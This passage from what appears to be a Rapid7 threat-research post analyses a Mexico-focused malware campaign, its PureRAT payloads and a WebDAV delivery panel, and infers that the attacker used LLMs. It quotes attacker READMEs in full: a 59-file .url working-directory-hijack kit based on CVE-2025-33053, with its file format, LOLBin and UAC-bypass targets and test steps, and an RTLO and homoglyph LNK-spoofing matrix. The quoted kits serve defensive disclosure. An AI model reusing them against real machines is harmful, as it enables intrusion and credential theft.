signed host process.</span></p><p><span>The </span><span><span data-type="inlineCode">DlrtyGames</span></span><span> payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including </span><span><span data-type="inlineCode"><em>relaypayments.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>plaid</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fiservapps</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>payoneer</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>google pay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>coinbase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Zelle</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>paypal</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>link.com</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>amazonrelay</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Exodus</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Electrum</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Bitcoin</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>monero</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed Phrase</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Seed</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>12</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>FCU</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Credit Union</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Account Overview</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Available Balance</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>Merchant</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>online access</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>debit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>credit</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>cvv</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>card</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>settlement</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>fees</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>loans</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>bank</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>banking</em></span></span><span><em>, </em></span><span><span data-type="inlineCode"><em>finance</em></span></span><span><em>, and </em></span><span><span data-type="inlineCode"><em>invest</em></span></span><span><em>. </em></span></p><p><span>The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.</span></p><p><span>The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to </span><span><span data-type="inlineCode">77[.]110[.]127[.]205:56003</span></span><span>, while in the case study two stealer chain communicated with </span><span><span data-type="inlineCode">23[.]94[.]252[.]228:57666</span></span><span>. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.</span></p><h3>GenAI adoption</h3><p><span>Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. </span></p><p><span></span></p><pre language="c">═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         &lt;- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   &lt;- WebDAV (triggers WebClient!)
  ShowCommand=7                     &lt;- start minimized (hide alert windows)
  IconIndex=13                      &lt;- (decoy icon)
  IconFile=msedge.exe               &lt;- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -&gt; HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -&gt; doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              &lt;- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    &lt;- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           &lt;- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.</pre><p><span><em>Figure 7: Context of README.md found in the exposed directory.</em></span><em><br></em><br><span>The attacker left a build-time artifact inside the </span><span><span data-type="inlineCode">generate_test_lnk.ps1</span></span><span> output. The output directory is hardcoded in the </span><span><span data-type="inlineCode">$outDir</span></span><span> variable and exposes part of the attacker’s local project tree:</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-%24outDir-path.png" alt="Hardcoded-$outDir-path.png" caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt5f481d0cd28d6929/6a5e17f7b52ffd407785a683/Hardcoded-$outDir-path.png" data-sys-asset-uid="blt5f481d0cd28d6929" data-sys-asset-filename="Hardcoded-$outDir-path.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree." data-sys-asset-alt="Hardcoded-$outDir-path.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.</figcaption></div></figure><p>⠀<em><br></em><span>It is therefore apparent that the entire campaign was likely created using the </span><a href="https://github.com/Akash-nath29/Coderrr" target="_blank"><span>CodeRRR project</span></a><span> with the help of LLM to assist with code generation and campaign development.</span></p><p><span>Another file we found in the directory was </span><span><span data-type="inlineCode">Simba_Service_Presentation.htm</span></span><span>, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" alt="Simba-server-screenshot-panel.png" caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt8a0d6970395b2772/6a5e18471d6cdc8240fb0a26/Simba-server-screenshot-panel.png" data-sys-asset-uid="blt8a0d6970395b2772" data-sys-asset-filename="Simba-server-screenshot-panel.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture." data-sys-asset-alt="Simba-server-screenshot-panel.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.</figcaption></div></figure><p>⠀</p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" alt="Simba-server-system-requirements.png" caption="Figure 10: Simba service system requirements." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="Simba-server-system-requirements.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt3c958992fad5cb62/6a5e18d6f480d88e07286a8a/Simba-server-system-requirements.png" data-sys-asset-uid="blt3c958992fad5cb62" data-sys-asset-filename="Simba-server-system-requirements.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 10: Simba service system requirements." data-sys-asset-alt="Simba-server-system-requirements.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 10: Simba service system requirements.</figcaption></div></figure><p>⠀</p><p><span>The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 </span><span><span data-type="inlineCode">.url</span></span><span> files targeting different Windows binaries, such as .NET tools (</span><span><span data-type="inlineCode">InstallUtil</span></span><span>, </span><span><span data-type="inlineCode">RegAsm</span></span><span>, </span><span><span data-type="inlineCode">RegSvcs</span></span><span>, </span><span><span data-type="inlineCode">ngentask</span></span><span>), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.</span></p><p><span>The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a </span><span><span data-type="inlineCode">_MAPPING.csv</span></span><span> tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.</span></p><p></p><pre language="c"># LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.&lt;method&gt;.&lt;trick&gt;.&lt;spoof&gt;.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`&lt;method&gt;`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`&lt;trick&gt;`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`&lt;spoof&gt;`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

&gt; The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
&gt; Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...</pre><p><span><em>Figure 11: This is a snippet from another </em></span><span><span data-type="inlineCode"><em>README.md</em></span></span><span><em>. The full README is available on Rapid7 Labs' </em></span><a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank"><span><em>Github</em></span></a><span><em>. The text is original, and the translation to Russian was not added by us.</em></span></p><h3>OPSEC is hard </h3><p><span>As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" alt="simba-service-presentation.png" caption="Figure 12: Simba service presentation." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-presentation.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blte7a569d4a484149e/6a5e199e1abad5303f7de1ad/simba-service-presentation.png" data-sys-asset-uid="blte7a569d4a484149e" data-sys-asset-filename="simba-service-presentation.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 12: Simba service presentation." data-sys-asset-alt="simba-service-presentation.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 12: Simba service presentation.</figcaption></div></figure><p>⠀</p><p><span>The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.</span></p><p><span>The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.</span></p><p><span>Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.</span></p><p><span>We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.</span></p><h3>Delivery panel overview</h3><p><span>The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.</span></p><p><em></em></p><figure><div><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" alt="simba-service-page-with-blocking-capabilities_.png" caption="Figure 13: Simba service page with blocking capabilities." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt20dc8a76cc4cdc10/6a5e1a005e34b09034dfd8cd/simba-service-page-with-blocking-capabilities_.png" data-sys-asset-uid="blt20dc8a76cc4cdc10" data-sys-asset-filename="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 13: Simba service page with blocking capabilities." data-sys-asset-alt="simba-service-page-with-blocking-capabilities_.png" data-sys-asset-position="none" sys-style-type="display"><figcaption>Figure 13: Simba service page with blocking capabilities.</figcaption></div></figure><p>⠀</p><p><span>The portal was capable of detecting scanners and bots by analyzing behavioral indicators, including requests for non-existent resources, HTTP 404 responses, WebDAV probes, and directory enumeration attempts. Based on these observations, it assigned a risk score to each IP address and allowed the operator to manually block flagged hosts. Portal records indicate that the blocking configuration was modified at least 3 times during the campaign (June 5, June 10, and June 20).</span></p><p><span>We analyzed telemetry from the WebDAV delivery service over an approximately 5.5-day window (June 20–26, 2026 UTC), which recorded 77,098 requests from 3,892 unique client IPs across 101 countries, with roughly 45.9 GB transferred.</span></p><p><span>The activity was short-lived and high-volume, peaking between June 21 and June 24 before dropping sharply. Based on this data we can assume that it was a targeted delivery campaign.</span></p><p><span>Most of the launch activity came from one specific lure: a CURP-themed fake PDF report under the </span><span><span data-type="inlineCode">/Downloads/CURP/ReportFinal.rcs.pdf</span></span><span> (RTLO-spoofed </span><span><span data-type="inlineCode">.scr</span></span><span> executable.) Out of 2,441 observed executable launch events, 2,384, or approximately 97.7%, were tied to this lure. It accounted for approximately 14.6 GB of traffic and was accessed by 1,869 unique client IPs.</span></p><p><span>The WebDAV traffic was heavily concentrated in Mexico. Mexico generated 63,622 requests, representing 82.5% of all traffic, and 2,365 launch events, or approximately 96.9% of all observed launches. The next largest sources of traffic, including the United States and Germany, produced far fewer launch events and appeared more consistent with scanning, research, or automated retrieval.</span></p><p><em></em></p><table><colgroup data-width="1250"><col><col><col><col><col></colgroup><tbody><tr><td><p><span><strong>Country</strong></span></p></td><td><p><span><strong>Requests</strong></span></p></td><td><p><span><strong>Share of requests</strong></span></p></td><td><p><span><strong>Unique client IPs</strong></span></p></td><td><p><span><strong>Launch events</strong></span></p></td></tr><tr><td><p><span>Mexico</span></p></td><td><p><span>63,622</span></p></td><td><p><span>82.5%</span></p></td><td><p><span>2,698</span></p></td><td><p><span>2,365</span></p></td></tr><tr><td><p><span>United States</span></p></td><td><p><span>4,032</span></p></td><td><p><span>5.2%</span></p></td><td><p><span>463</span></p></td><td><p><span>47</span></p></td></tr><tr><td><p><span>Germany</span></p></td><td><p><span>2,751</span></p></td><td><p><span>3.6%</span></p></td><td><p><span>59</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>United Kingdom</span></p></td><td><p><span>645</span></p></td><td><p><span>0.8%</span></p></td><td><p><span>40</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Netherlands</span></p></td><td><p><span>532</span></p></td><td><p><span>0.7%</span></p></td><td><p><span>49</span></p></td><td><p><span>1</span></p></td></tr><tr><td><p><span>France</span></p></td><td><p><span>407</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>21</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Finland</span></p></td><td><p><span>401</span></p></td><td><p><span>0.5%</span></p></td><td><p><span>6</span></p></td><td><p><span>10</span></p></td></tr><tr><td><p><span>Brazil</span></p></td><td><p><span>343</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>41</span></p></td><td><p><span>0</span></p></td></tr><tr><td><p><span>Republic of Korea</span></p></td><td><p><span>312</span></p></td><td><p><span>0.4%</span></p></td><td><p><span>16</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 3: Geographic distribution of WebDAV delivery activity.</em></span></p><p><span><em></em></span></p><p><span>Mexico was not only the largest source of traffic, but also the source of nearly all observed launch activity. Within Mexico, the activity was geographically broad, spanning hundreds of cities rather than clustering around a single locality. The top five Mexican cities accounted for approximately 27.4% of Mexican launch events, with Mexico City alone accounting for approximately 15.7%.</span></p><p><span>Hourly requests to the WebDAV delivery service also supported the assessment that much of the traffic came from real user interaction rather than only automated internet scanners. Traffic peaked between 16:00 and 19:00 UTC, which corresponds to working hours in central Mexico.</span></p><p><span>By launch events, we mean cases where the WebDAV panel showed that a client opened or requested an executable file in a way that looked like an attempted run, such as a </span><span><span data-type="inlineCode">GET</span></span><span> request for an </span><span><span data-type="inlineCode">.scr</span></span><span> or </span><span><span data-type="inlineCode">.exe</span></span><span> file from the delivery share. This does not mean we confirmed malware execution on the endpoint. It means the delivery infrastructure saw the file being accessed or invoked.</span></p><h2>Protocol behavior</h2><p><span>The HTTP methods and status codes show how clients interacted with the WebDAV delivery service. </span><span><span data-type="inlineCode">PROPFIND</span></span><span> requests and </span><span><span data-type="inlineCode">207</span></span><span> responses indicate directory browsing, which is typical when Windows Explorer accesses a remote WebDAV location. </span><span><span data-type="inlineCode">GET</span></span><span> requests and </span><span><span data-type="inlineCode">200</span></span><span> responses show file retrieval, including executable files opened or requested from the share.</span></p><p><span></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Method</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>PROPFIND</span></p></td><td><p><span>57,287</span></p></td></tr><tr><td><p><span>GET</span></p></td><td><p><span>13,088</span></p></td></tr><tr><td><p><span>OPTIONS</span></p></td><td><p><span>6,597</span></p></td></tr><tr><td><p><span>PROPPATCH</span></p></td><td><p><span>125</span></p></td></tr><tr><td><p><span>LOCK</span></p></td><td><p><span>1</span></p></td></tr></tbody></table><p><span><em>Table 4: HTTP methods observed in WebDAV delivery traffic.</em></span></p><p><span><em></em></span></p><table><colgroup data-width="500"><col><col></colgroup><tbody><tr><td><p><span><strong>Status</strong></span></p></td><td><p><span><strong>Count</strong></span></p></td></tr><tr><td><p><span>207</span></p></td><td><p><span>57,412</span></p></td></tr><tr><td><p><span>200</span></p></td><td><p><span>19,532</span></p></td></tr><tr><td><p><span>206</span></p></td><td><p><span>154</span></p></td></tr></tbody></table><p><span><em>Table 5: HTTP status codes observed in WebDAV delivery traffic.</em></span></p><h2><span>MITRE ATT&amp;CK techniques</span></h2><table><colgroup data-width="1010"><col><col><col></colgroup><tbody><tr><td><p><span><strong>Name</strong></span></p></td><td><p><span><strong>MITRE ATT&amp;CK technique</strong></span></p></td><td><p><span><strong>Code</strong></span></p></td></tr><tr><td><p><span>Payload execution</span></p></td><td><p><span>User Execution: Malicious File</span></p></td><td><p><span>T1204.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Right-to-Left Override</span></p></td><td><p><span>T1036.002</span></p></td></tr><tr><td><p><span>Masquerading</span></p></td><td><p><span>Double File Extension</span></p></td><td><p><span>T1036.007</span></p></td></tr><tr><td><p><span>DLL sideloading</span></p></td><td><p><span>Hijack Execution Flow: DLL</span></p></td><td><p><span>T1574.001</span></p></td></tr><tr><td><p><span>Obfuscation</span></p></td><td><p><span>Encrypted/Encoded File</span></p></td><td><p><span>T1027.013</span></p></td></tr><tr><td><p><span>Payload unpacking</span></p></td><td><p><span>Deobfuscate/Decode Files or Information</span></p></td><td><p><span>T1140</span></p></td></tr><tr><td><p><span>Payload carrier</span></p></td><td><p><span>Steganography / image-carried payload data</span></p></td><td><p><span>T1027.003</span></p></td></tr><tr><td><p><span>API hiding</span></p></td><td><p><span>Dynamic API Resolution</span></p></td><td><p><span>T1027.007</span></p></td></tr><tr><td><p><span>In-memory loading</span></p></td><td><p><span>Reflective Code Loading</span></p></td><td><p><span>T1620</span></p></td></tr><tr><td><p><span>Injection</span></p></td><td><p><span>Process Hollowing</span></p></td><td><p><span>T1055.012</span></p></td></tr><tr><td><p><span>Native API use</span></p></td><td><p><span>Native API</span></p></td><td><p><span>T1106</span></p></td></tr><tr><td><p><span>Sandbox evasion</span></p></td><td><p><span>Time Based Evasion</span></p></td><td><p><span>T1497.003</span></p></td></tr><tr><td><p><span>Anti-analysis</span></p></td><td><p><span>Debugger / instrumentation checks</span></p></td><td><p><span>T1622</span></p></td></tr><tr><td><p><span>UAC bypass</span></p></td><td><p><span>Bypass User Account Control</span></p></td><td><p><span>T1548.002</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Registry Run Keys / Startup Folder</span></p></td><td><p><span>T1547.001</span></p></td></tr><tr><td><p><span>Persistence</span></p></td><td><p><span>Scheduled Task</span></p></td><td><p><span>T1053.005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Keylogging</span></p></td><td><p><span>T1056.001</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Screen Capture</span></p></td><td><p><span>T1113</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Clipboard Data</span></p></td><td><p><span>T1115</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Credentials from Web Browsers</span></p></td><td><p><span>T1555.003</span></p></td></tr><tr><td><p><span>Credential access</span></p></td><td><p><span>Steal Web Session Cookie</span></p></td><td><p><span>T1539</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Data from Local System</span></p></td><td><p><span>T1005</span></p></td></tr><tr><td><p><span>Collection</span></p></td><td><p><span>Automated Collection</span></p></td><td><p><span>T1119</span></p></td></tr><tr><td><p><span>Staging</span></p></td><td><p><span>Archive Collected Data: Archive via Utility</span></p></td><td><p><span>T1560.001</span></p></td></tr><tr><td><p><span>C2</span></p></td><td><p><span>Encrypted Channel</span></p></td><td><p><span>T1573</span></p></td></tr><tr><td><p><span>Exfiltration</span></p></td><td><p><span>Exfiltration Over C2 Channel</span></p></td><td><p><span>T1041</span></p></td></tr><tr><td><p><span>Possible persistence</span></p></td><td><p><span>WMI Event Subscription</span></p></td><td><p><span>T1546.003</span></p></td></tr><tr><td><p><span>Phishing lure generation</span></p></td><td><p><span>Generate Phishing Lures</span></p></td><td><p><span>AML.T0052</span></p></td></tr><tr><td><p><span>Resource Development</span></p></td><td><p><span>Resource Development</span></p></td><td><p><span>AML.TA0003</span></p></td></tr><tr><td><p><span>Obtain capabilities via LLM tooling</span></p></td><td><p><span>Obtain Capabilities</span></p></td><td><p><span>AML.T0016</span></p></td></tr><tr><td><p><span>LLM-assisted capability development</span></p></td><td><p><span>Develop Capabilities</span></p></td><td><p><span> AML.T0017</span></p></td></tr><tr><td><p><span>LLM prompt crafting for attack documentation</span></p></td><td><p><span>LLM Prompt Crafting</span></p></td><td><p><span>AML.T0065</span></p></td></tr><tr><td><p><span>Obtain capabilities via tooling</span></p></td><td><p><span>Obtain Capabilities: Software Tools</span></p></td><td><p><span>AML.T0016.001</span></p></td></tr></tbody></table><h2><span>Indicators of compromise (IOCs)</span></h2><h3>CURP campaign</h3><p>Phishing page: hxxps://gobf[.]mx </p><p>WebDav server: onedrive[.]cv</p><p></p><p>ReportFinal.&lt;RLO&gt;.scr    SHA256 04A8018191F2E9E76072D072A933371D9D669A42DE2B2A087541CD3A653B0BA7</p><p></p><p>C2: 77.110.127.205 ports 56001-56003 / 57666 / 57777 / 57888</p><p>Domain: google.services[.]ug</p><p>Campaign tag:06x12x2026SantaEbash2  (v4.4.3)</p><p>Schedule tasks: brokerhost, net_queue_32</p><p></p><p>Staging paths:</p><p>%TEMP%\is-XXXXX.tmp\Fo-Binary.exe </p><p>%AppData%\Roaming\inttracer_i686_prod\      </p><p> C:\ProgramData\inttracer_i686_prod\</p><h3>DlrtyGames campaign </h3><p>C2: 23[.]94[.]252[.]228:57666</p><p>JA3: fc54e0d16d9764783542f0146a98b300</p><p>DlrtyGames.exe</p><p>SHA256: e8be17a7fbef48b45f1e958b3ae5ebdfcad58808969982c431a905eefcae5268</p><p>discord-rpc.x64.dll</p><p>SHA256: 449d1121fa275879af22a20407aa7253ac750ac8fa7ff5691101752600d645df</p><p>profiler16.dll</p><p>SHA256: a88f5ee748e60f889d046718bfe3ddcf1c5f3cba2001cad587e8953a76bf7aa9</p><p>loader-pool.db</p><p>SHA256: 51a02eccdcae0483c7cbb9796738eee6c2a13b740d30e5417cda09bf418ea93b</p><p>.NET RAT</p><p>SHA256: 82e67735cf822db8f2f759e742e5bf8c54fdbd01a4170619b9e0916e1b3f5923</p><p>Staging paths:</p><p>C:\ProgramData\basenet\</p><p>%APPDATA%\basenet\</p><p>Persistence:</p><p>HKCU\Software\Microsoft\Windows\CurrentVersion\Run\XNNNMHJAZNCNHGIKJDW</p><p>\com_app_bg_i686</p><p>\messenger_component_v8_32_rc</p><p></p><p>More indicators of compromise can be found on Rapid7’s <a href="https://github.com/rapid7/Rapid7-Labs/tree/main/IOCs/Simba%20Panel" target="_blank">GitHub</a>.</p><h2>Rapid7 customers</h2><p>Customers using Rapid7’s Intelligence Hub gain direct access to all IOCs from this campaign, including any future indicators as they are identified.</p><h2>Conclusion</h2><p><span>The operator’s OPSEC failed in the best way possible for defenders. Thanks to a completely exposed server, we managed to pull down their entire operational toolkit: staged payloads, lure templates, testing files, builder notes, and active campaign artifacts. This sloppiness effectively offered a rare, transparent view of their end-to-end delivery pipeline rather than just the final malware it served.</span></p><p><span>The real impact shows up in speed and scale. The actor generated lure variants in bulk, tested them systematically, documented results, and refined delivery techniques in short cycles. The artifacts also suggested that attackers used LLM for rapid lure generation and development since their cPanel was vibecoded. </span></p><p><span>While the fact that attackers are adopting genAI in their workflows is nothing new, looking past the novelty reveals a much more practical shift in 